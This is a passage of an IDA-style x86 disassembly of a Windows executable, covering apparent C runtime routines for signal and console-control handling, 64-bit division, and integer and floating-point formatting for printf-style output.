jz short loc_40AD2B
test ebx, ebx
jnz short loc_40AD2F
loc_40AD2B: ; CODE XREF: sub_40AD10+15j
xor eax, eax
jmp short loc_40AD4A
; ---------------------------------------------------------------------------
loc_40AD2F: ; CODE XREF: sub_40AD10+19j
cmp ebx, 1
jz short loc_40AD45
push 0
push 2
call sub_40AD50
add esp, 8
push 2
call ebx
pop ecx
loc_40AD45: ; CODE XREF: sub_40AD10+22j
mov eax, 1
loc_40AD4A: ; CODE XREF: sub_40AD10+1Dj
pop ebx
retn 4
sub_40AD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD50 proc near ; CODE XREF: sub_4091A0+18p
; sub_4091A0+3Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jle short loc_40AD6E
cmp ebx, 2Ch
jge short loc_40AD6E
cmp [ebp+arg_4], 0FFFFFFFFh
jnz short loc_40AD76
loc_40AD6E: ; CODE XREF: sub_40AD50+Ej
; sub_40AD50+13j
or eax, 0FFFFFFFFh
jmp loc_40AE26
; ---------------------------------------------------------------------------
loc_40AD76: ; CODE XREF: sub_40AD50+1Cj
cmp ebx, 4
jz short loc_40AD85
cmp ebx, 8
jz short loc_40AD85
cmp ebx, 0Bh
jnz short loc_40ADE4
loc_40AD85: ; CODE XREF: sub_40AD50+29j
; sub_40AD50+2Ej
call sub_409090
mov [ebp+var_8], eax
mov eax, [eax+34h]
cmp eax, offset dword_4117E4
jnz short loc_40ADC5
push 0B0h
call sub_4081A0
pop ecx
mov edx, [ebp+var_8]
mov [edx+34h], eax
test eax, eax
jz short loc_40ADC0
mov eax, [ebp+var_8]
mov edi, [eax+34h]
mov esi, offset dword_4117E4
mov ecx, 2Ch
rep movsd
jmp short loc_40ADC5
; ---------------------------------------------------------------------------
loc_40ADC0: ; CODE XREF: sub_40AD50+5Aj
or eax, 0FFFFFFFFh
jmp short loc_40AE26
; ---------------------------------------------------------------------------
loc_40ADC5: ; CODE XREF: sub_40AD50+45j
; sub_40AD50+6Ej
mov eax, ebx
shl eax, 2
mov edx, [ebp+var_8]
mov ecx, [edx+34h]
mov ecx, [ecx+eax]
mov [ebp+var_4], ecx
mov edx, [edx+34h]
mov ecx, [ebp+arg_4]
mov [edx+eax], ecx
mov eax, [ebp+var_4]
jmp short loc_40AE26
; ---------------------------------------------------------------------------
loc_40ADE4: ; CODE XREF: sub_40AD50+33j
cmp ebx, 2
jnz short loc_40AE12
cmp dword_41189C, 0
jnz short loc_40AE12
push 1
push offset sub_40AD10
call dword_411E10 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_40AE08
or eax, 0FFFFFFFFh
jmp short loc_40AE26
; ---------------------------------------------------------------------------
loc_40AE08: ; CODE XREF: sub_40AD50+B1j
mov dword_41189C, 1
loc_40AE12: ; CODE XREF: sub_40AD50+97j
; sub_40AD50+A0j
lea eax, ds:4117E4h[ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
mov edx, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_4]
loc_40AE26: ; CODE XREF: sub_40AD50+21j
; sub_40AD50+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AD50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AE30 proc near ; CODE XREF: sub_407AA0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40AE30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AE40 proc near ; CODE XREF: DMN0:0040928Cp
; sub_40B000+F3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_4]
or eax, eax
jnz short loc_40AE62
mov ecx, [esp+8+arg_0]
mov eax, [esp+8+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_8]
div ecx
mov edx, ebx
jmp short loc_40AEA3
; ---------------------------------------------------------------------------
loc_40AE62: ; CODE XREF: sub_40AE40+8j
mov ecx, eax
mov ebx, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
mov eax, [esp+8+arg_8]
loc_40AE70: ; CODE XREF: sub_40AE40+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40AE70
div ebx
mov esi, eax
mul [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
mul esi
add edx, ecx
jb short loc_40AE9E
cmp edx, [esp+8+arg_C]
ja short loc_40AE9E
jb short loc_40AE9F
cmp eax, [esp+8+arg_8]
jbe short loc_40AE9F
loc_40AE9E: ; CODE XREF: sub_40AE40+4Ej
; sub_40AE40+54j
dec esi
loc_40AE9F: ; CODE XREF: sub_40AE40+56j
; sub_40AE40+5Cj
xor edx, edx
mov eax, esi
loc_40AEA3: ; CODE XREF: sub_40AE40+20j
pop esi
pop ebx
retn 10h
sub_40AE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEB0 proc near ; CODE XREF: sub_409C30+B3p
; sub_409C30+6E1p
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
cmp dword ptr [ebx+2Ch], 0
jge short loc_40AECE
mov [ebp+var_64], 7FFFFFFFh
jmp short loc_40AED4
; ---------------------------------------------------------------------------
loc_40AECE: ; CODE XREF: sub_40AEB0+13j
mov eax, [ebx+2Ch]
mov [ebp+var_64], eax
loc_40AED4: ; CODE XREF: sub_40AEB0+1Cj
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
movzx eax, byte_4118A0
mov edx, [ebx+34h]
add eax, edx
mov [ebp+var_14], eax
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
test word ptr [ebx+38h], 4
jnz short loc_40AF05
cmp [ebp+var_14], 40h
ja short loc_40AF14
loc_40AF05: ; CODE XREF: sub_40AEB0+4Dj
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
mov [ebp+var_14], 40h
jmp short loc_40AF2D
; ---------------------------------------------------------------------------
loc_40AF14: ; CODE XREF: sub_40AEB0+53j
mov eax, [ebp+var_14]
push eax
call sub_4081A0
pop ecx
mov [ebp+var_10], eax
test eax, eax
jnz short loc_40AF2D
or eax, 0FFFFFFFFh
jmp loc_40AFF5
; ---------------------------------------------------------------------------
loc_40AF2D: ; CODE XREF: sub_40AEB0+62j
; sub_40AEB0+73j
test esi, esi
jnz short loc_40AF36
mov esi, offset aNull ; "(null)"
loc_40AF36: ; CODE XREF: sub_40AEB0+7Fj
mov [ebp+var_20], 0
jmp short loc_40AFBB
; ---------------------------------------------------------------------------
loc_40AF3F: ; CODE XREF: sub_40AEB0+10Fj
lea eax, [ebp+var_1C]
push eax
movzx eax, word ptr [esi]
push eax
lea eax, [ebp+var_C]
push eax
call sub_40BEE0
add esp, 0Ch
mov edi, eax
test eax, eax
jl short loc_40AF66
cmp word ptr [esi], 0
jnz short loc_40AF6C
dec edi
mov eax, edi
test eax, eax
jge short loc_40AF6C
loc_40AF66: ; CODE XREF: sub_40AEB0+A7j
or [ebp+var_20], 0FFFFFFFFh
jmp short loc_40AFC5
; ---------------------------------------------------------------------------
loc_40AF6C: ; CODE XREF: sub_40AEB0+ADj
; sub_40AEB0+B4j
cmp [ebp+var_4], edi
jl short loc_40AFC5
mov eax, [ebx+14h]
add eax, edi
cmp [ebp+var_14], eax
jnb short loc_40AF96
mov dword ptr [ebx+34h], 0
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40A370
add esp, 8
mov dword ptr [ebx+14h], 0
loc_40AF96: ; CODE XREF: sub_40AEB0+C9j
push edi
lea eax, [ebp+var_C]
push eax
mov eax, [ebx+14h]
mov edx, [ebp+var_10]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
add [ebx+14h], edi
cmp word ptr [esi], 0
jz short loc_40AFC5
add esi, 2
sub [ebp+var_4], edi
loc_40AFBB: ; CODE XREF: sub_40AEB0+8Dj
cmp [ebp+var_4], 0
jg loc_40AF3F
loc_40AFC5: ; CODE XREF: sub_40AEB0+BAj
; sub_40AEB0+BFj ...
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40A370
add esp, 8
mov dword ptr [ebx+34h], 0
mov dword ptr [ebx+14h], 0
lea eax, [ebp+var_60]
cmp eax, [ebp+var_10]
jz short loc_40AFF2
mov eax, [ebp+var_10]
push eax
call sub_4070F0
pop ecx
loc_40AFF2: ; CODE XREF: sub_40AEB0+136j
mov eax, [ebp+var_20]
loc_40AFF5: ; CODE XREF: sub_40AEB0+78j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B000 proc near ; CODE XREF: sub_409C30+256p
; sub_409C30+3CAp ...
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 58h
jnz short loc_40B018
mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
jmp short loc_40B01F
; ---------------------------------------------------------------------------
loc_40B018: ; CODE XREF: sub_40B000+Dj
mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"
loc_40B01F: ; CODE XREF: sub_40B000+16j
mov eax, [ebp+var_34]
mov [ebp+var_24], eax
cmp [ebp+arg_4], 6Fh
jnz short loc_40B034
mov [ebp+var_38], 8
jmp short loc_40B04F
; ---------------------------------------------------------------------------
loc_40B034: ; CODE XREF: sub_40B000+29j
mov al, [ebp+arg_4]
cmp al, 78h
jz short loc_40B048
cmp al, 58h
jz short loc_40B048
mov [ebp+var_38], 0Ah
jmp short loc_40B04F
; ---------------------------------------------------------------------------
loc_40B048: ; CODE XREF: sub_40B000+39j
; sub_40B000+3Dj
mov [ebp+var_38], 10h
loc_40B04F: ; CODE XREF: sub_40B000+32j
; sub_40B000+46j
mov eax, [ebp+var_38]
mov [ebp+var_8], eax
mov [ebp+var_4], 18h
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov al, [ebp+arg_4]
cmp al, 64h
jz short loc_40B075
cmp al, 69h
jnz short loc_40B09A
loc_40B075: ; CODE XREF: sub_40B000+6Fj
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_40B09A
jl short loc_40B087
test eax, eax
jnb short loc_40B09A
loc_40B087: ; CODE XREF: sub_40B000+81j
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
neg eax
adc edx, 0
neg edx
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_40B09A: ; CODE XREF: sub_40B000+73j
; sub_40B000+7Fj ...
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
test edx, edx
jnz short loc_40B0B1
test eax, eax
jnz short loc_40B0B1
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jz short loc_40B0E1
loc_40B0B1: ; CODE XREF: sub_40B000+A2j
; sub_40B000+A6j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_3C], eax
mov [ebp+var_4], eax
mov ecx, [ebp+var_30]
mov ebx, [ebp+var_2C]
mov edx, [ebp+var_8]
mov esi, edx
mov edi, esi
sar edi, 1Fh
push ebx
push ecx
push edi
push esi
call sub_40C130
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_3C]
mov [ebp+edx+var_20], al
loc_40B0E1: ; CODE XREF: sub_40B000+AFj
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_40AE40
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov [ecx+4], edx
jmp short loc_40B172
; ---------------------------------------------------------------------------
loc_40B102: ; CODE XREF: sub_40B000+188j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_40C1B0
mov [ebp+var_48], eax
mov [ebp+var_44], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4C], eax
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov esi, [ebp+var_48]
mov edi, [ebp+var_44]
push ebx
push ecx
push edi
push esi
call sub_40C260
neg eax
adc edx, 0
neg edx
mov ecx, [ebp+arg_0]
mov ebx, [ecx+4]
mov ecx, [ecx]
add eax, ecx
adc edx, ebx
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_4C]
mov [ebp+edx+var_20], al
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov ebx, [ebp+var_44]
mov [eax], ecx
mov [eax+4], ebx
loc_40B172: ; CODE XREF: sub_40B000+100j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jl short loc_40B18E
jg short loc_40B184
test eax, eax
jbe short loc_40B18E
loc_40B184: ; CODE XREF: sub_40B000+17Ej
cmp [ebp+var_4], 0
jg loc_40B102
loc_40B18E: ; CODE XREF: sub_40B000+17Cj
; sub_40B000+182j
cmp [ebp+var_8], 8
jnz short loc_40B1BA
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_40B1BA
mov eax, [ebp+var_4]
cmp eax, 18h
jnb short loc_40B1BA
cmp [ebp+eax+var_20], 30h
jz short loc_40B1BA
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov [ebp+eax+var_20], 30h
loc_40B1BA: ; CODE XREF: sub_40B000+192j
; sub_40B000+19Dj ...
mov edx, [ebp+arg_0]
mov eax, 18h
mov ecx, [ebp+var_4]
sub eax, ecx
mov [edx+1Ch], eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
push edx
mov edx, [ebp+var_4]
lea edx, [ebp+edx+var_20]
push edx
mov eax, [eax+10h]
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
cmp [eax+1Ch], edx
jge short loc_40B206
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
sub edx, [eax+1Ch]
mov [eax+18h], edx
mov eax, [ebp+arg_0]
and word ptr [eax+38h], 0FFEFh
jmp short loc_40B237
; ---------------------------------------------------------------------------
loc_40B206: ; CODE XREF: sub_40B000+1EEj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B237
movzx edx, word ptr [eax+38h]
and edx, 14h
cmp edx, 10h
jnz short loc_40B237
mov edx, [eax+34h]
sub edx, [eax+14h]
sub edx, [eax+18h]
sub edx, [eax+1Ch]
mov [ebp+var_4], edx
test edx, edx
jle short loc_40B237
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [edx+18h], eax
loc_40B237: ; CODE XREF: sub_40B000+204j
; sub_40B000+20Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B240 proc near ; CODE XREF: sub_409C30+40Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40C2A0
pop ecx
movsx eax, ax
retn
sub_40B240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B250 proc near ; CODE XREF: sub_409C30+48Cp
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = qword ptr -58h
var_50 = qword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
lea eax, [ebp+var_3E]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_10]
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B26F
cmp al, 41h
jnz short loc_40B271
loc_40B26F: ; CODE XREF: sub_40B250+19j
jmp short loc_40B2A4
; ---------------------------------------------------------------------------
loc_40B271: ; CODE XREF: sub_40B250+1Dj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B286
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 6
jmp short loc_40B2A4
; ---------------------------------------------------------------------------
loc_40B286: ; CODE XREF: sub_40B250+28j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jnz short loc_40B2A4
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40B29A
cmp al, 47h
jnz short loc_40B2A4
loc_40B29A: ; CODE XREF: sub_40B250+44j
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 1
loc_40B2A4: ; CODE XREF: sub_40B250:loc_40B26Fj
; sub_40B250+34j ...
mov eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_14]
push eax
call sub_40C310
add esp, 8
mov [ebp+var_16], ax
cmp ax, 2
jnz short loc_40B309
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B2E1
cmp al, 65h
jz short loc_40B2E1
cmp al, 66h
jz short loc_40B2E1
cmp al, 67h
jnz short loc_40B2EA
loc_40B2E1: ; CODE XREF: sub_40B250+83j
; sub_40B250+87j ...
mov [ebp+var_44], offset word_4100E2
jmp short loc_40B2F1
; ---------------------------------------------------------------------------
loc_40B2EA: ; CODE XREF: sub_40B250+8Fj
mov [ebp+var_44], offset word_4100DE
loc_40B2F1: ; CODE XREF: sub_40B250+98j
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_407630
add esp, 0Ch
jmp loc_40B8A4
; ---------------------------------------------------------------------------
loc_40B309: ; CODE XREF: sub_40B250+6Cj
cmp [ebp+var_16], 0
jle short loc_40B35B
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B333
cmp al, 65h
jz short loc_40B333
cmp al, 66h
jz short loc_40B333
cmp al, 67h
jnz short loc_40B33C
loc_40B333: ; CODE XREF: sub_40B250+D5j
; sub_40B250+D9j ...
mov [ebp+var_44], offset word_4100DA
jmp short loc_40B343
; ---------------------------------------------------------------------------
loc_40B33C: ; CODE XREF: sub_40B250+E1j
mov [ebp+var_44], offset off_4100D6
loc_40B343: ; CODE XREF: sub_40B250+EAj
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_407630
add esp, 0Ch
jmp loc_40B8A4
; ---------------------------------------------------------------------------
loc_40B35B: ; CODE XREF: sub_40B250+BEj
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B366
cmp al, 41h
jnz short loc_40B39E
loc_40B366: ; CODE XREF: sub_40B250+110j
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
mov byte ptr [edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
xor eax, eax
cmp [ebp+arg_4], 61h
setnz al
dec eax
and eax, 20h
add eax, 58h
mov [edx], al
mov eax, [ebp+arg_0]
add dword ptr [eax+14h], 2
loc_40B39E: ; CODE XREF: sub_40B250+114j
cmp [ebp+var_16], 0
jnz short loc_40B3B6
mov [ebp+var_12], 0
mov [ebp+var_14], 0
jmp loc_40B885
; ---------------------------------------------------------------------------
loc_40B3B6: ; CODE XREF: sub_40B250+153j
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B3C5
cmp al, 41h
jnz loc_40B5CB
loc_40B3C5: ; CODE XREF: sub_40B250+16Bj
cmp [ebp+arg_4], 61h
jnz short loc_40B3D4
mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
jmp short loc_40B3DB
; ---------------------------------------------------------------------------
loc_40B3D4: ; CODE XREF: sub_40B250+179j
mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"
loc_40B3DB: ; CODE XREF: sub_40B250+182j
mov eax, dword ptr [ebp+var_50+4]
mov [ebp+var_48], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B3F3
mov dword ptr [ebp+var_50], 21h
jmp short loc_40B3FD
; ---------------------------------------------------------------------------
loc_40B3F3: ; CODE XREF: sub_40B250+198j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
inc eax
mov dword ptr [ebp+var_50], eax
loc_40B3FD: ; CODE XREF: sub_40B250+1A1j
mov eax, dword ptr [ebp+var_50]
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
inc eax
mov [ebp+var_44], eax
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_40B426
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fchs
fstp [ebp+var_58]
jmp short loc_40B42E
; ---------------------------------------------------------------------------
loc_40B426: ; CODE XREF: sub_40B250+1C8j
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_58]
loc_40B42E: ; CODE XREF: sub_40B250+1D4j
fld [ebp+var_58]
fstp [ebp+var_10]
sub [ebp+var_14], 4
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 0
jmp loc_40B4D1
; ---------------------------------------------------------------------------
loc_40B44A: ; CODE XREF: sub_40B250+293j
push 1Ch
lea eax, [ebp+var_10]
push eax
call sub_40C330
add esp, 8
fld [ebp+var_10]
call sub_40C350
mov [ebp+var_5C], eax
mov eax, [ebp+var_44]
sub eax, 7
mov [ebp+var_44], eax
test eax, eax
jle short loc_40B47B
fld [ebp+var_10]
fild [ebp+var_5C]
fsubp st(1), st
fstp [ebp+var_10]
loc_40B47B: ; CODE XREF: sub_40B250+21Ej
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
mov [ebp+var_60], 7
jmp short loc_40B4A0
; ---------------------------------------------------------------------------
loc_40B48D: ; CODE XREF: sub_40B250+25Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, [ebp+var_5C]
and edx, 0Fh
mov [eax], dl
sar [ebp+var_5C], 4
loc_40B4A0: ; CODE XREF: sub_40B250+23Bj
cmp [ebp+var_5C], 0
jle short loc_40B4B1
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_40B48D
loc_40B4B1: ; CODE XREF: sub_40B250+254j
jmp short loc_40B4BD
; ---------------------------------------------------------------------------
loc_40B4B3: ; CODE XREF: sub_40B250+276j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 0
loc_40B4BD: ; CODE XREF: sub_40B250:loc_40B4B1j
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_40B4B3
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
loc_40B4D1: ; CODE XREF: sub_40B250+1F5j
cmp [ebp+var_44], 0
jle short loc_40B4E9
fld [ebp+var_10]
fcomp dbl_4100AC
fnstsw ax
sahf
ja loc_40B44A
loc_40B4E9: ; CODE XREF: sub_40B250+285j
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_40B50A
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_40B50A: ; CODE XREF: sub_40B250+2B1j
cmp [ebp+var_12], 0
jl loc_40B5AE
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_40B536
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 8
jb short loc_40B536
mov [ebp+var_64], 0Fh
jmp short loc_40B53D
; ---------------------------------------------------------------------------
loc_40B536: ; CODE XREF: sub_40B250+2CFj
; sub_40B250+2DBj
mov [ebp+var_64], 0
loc_40B53D: ; CODE XREF: sub_40B250+2E4j
mov eax, [ebp+var_64]
mov byte ptr [ebp+var_60+3], al
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_40B551
; ---------------------------------------------------------------------------
loc_40B54C: ; CODE XREF: sub_40B250+311j
sub [ebp+var_12], 1
loc_40B551: ; CODE XREF: sub_40B250+2FAj
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_60+3]
cmp [edx+eax], cl
jz short loc_40B54C
cmp byte ptr [ebp+var_60+3], 0Fh
jnz short loc_40B574
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_40B574: ; CODE XREF: sub_40B250+317j
cmp [ebp+var_5C], 0
jge short loc_40B587
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 4
loc_40B587: ; CODE XREF: sub_40B250+328j
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_40B5A3
; ---------------------------------------------------------------------------
loc_40B590: ; CODE XREF: sub_40B250+35Cj
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
movzx edx, byte ptr [eax]
mov ecx, [ebp+var_48]
mov dl, [ecx+edx]
mov [eax], dl
loc_40B5A3: ; CODE XREF: sub_40B250+33Ej
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
test eax, eax
jge short loc_40B590
loc_40B5AE: ; CODE XREF: sub_40B250+2BFj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge loc_40B885
mov edx, [ebp+arg_0]
movsx eax, [ebp+var_12]
dec eax
mov [edx+2Ch], eax
jmp loc_40B885
; ---------------------------------------------------------------------------
loc_40B5CB: ; CODE XREF: sub_40B250+16Fj
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_40B5E1
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_40B5E1: ; CODE XREF: sub_40B250+387j
movsx eax, [ebp+var_14]
imul eax, 7597h
push eax
mov edx, 14F8B589h
imul edx
pop eax
shr eax, 1Fh
sar edx, 0Dh
add eax, edx
sub eax, 4
mov [ebp+var_14], ax
test ax, ax
jge short loc_40B64C
mov eax, 3
movsx edx, [ebp+var_14]
sub eax, edx
and eax, 0FFFFFFFCh
mov [ebp+var_44], eax
neg eax
mov [ebp+var_14], ax
mov [ebp+var_48], 0
jmp short loc_40B644
; ---------------------------------------------------------------------------
loc_40B628: ; CODE XREF: sub_40B250+3F8j
test byte ptr [ebp+var_44], 1
jz short loc_40B63E
fld [ebp+var_10]
mov eax, [ebp+var_48]
fmul dbl_410054[eax*8]
fstp [ebp+var_10]
loc_40B63E: ; CODE XREF: sub_40B250+3DCj
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_40B644: ; CODE XREF: sub_40B250+3D6j
cmp [ebp+var_44], 0
jg short loc_40B628
jmp short loc_40B69C
; ---------------------------------------------------------------------------
loc_40B64C: ; CODE XREF: sub_40B250+3B6j
cmp [ebp+var_14], 0
jle short loc_40B69C
fld dbl_4100A4
fstp [ebp+var_50]
and [ebp+var_14], 0FFFCh
movsx eax, [ebp+var_14]
mov [ebp+var_44], eax
mov [ebp+var_48], 0
jmp short loc_40B68D
; ---------------------------------------------------------------------------
loc_40B671: ; CODE XREF: sub_40B250+441j
test byte ptr [ebp+var_44], 1
jz short loc_40B687
fld [ebp+var_50]
mov eax, [ebp+var_48]
fmul dbl_410054[eax*8]
fstp [ebp+var_50]
loc_40B687: ; CODE XREF: sub_40B250+425j
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_40B68D: ; CODE XREF: sub_40B250+41Fj
cmp [ebp+var_44], 0
jg short loc_40B671
fld [ebp+var_10]
fdiv [ebp+var_50]
fstp [ebp+var_10]
loc_40B69C: ; CODE XREF: sub_40B250+3FAj
; sub_40B250+401j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40B6A7
cmp al, 46h
jnz short loc_40B6B3
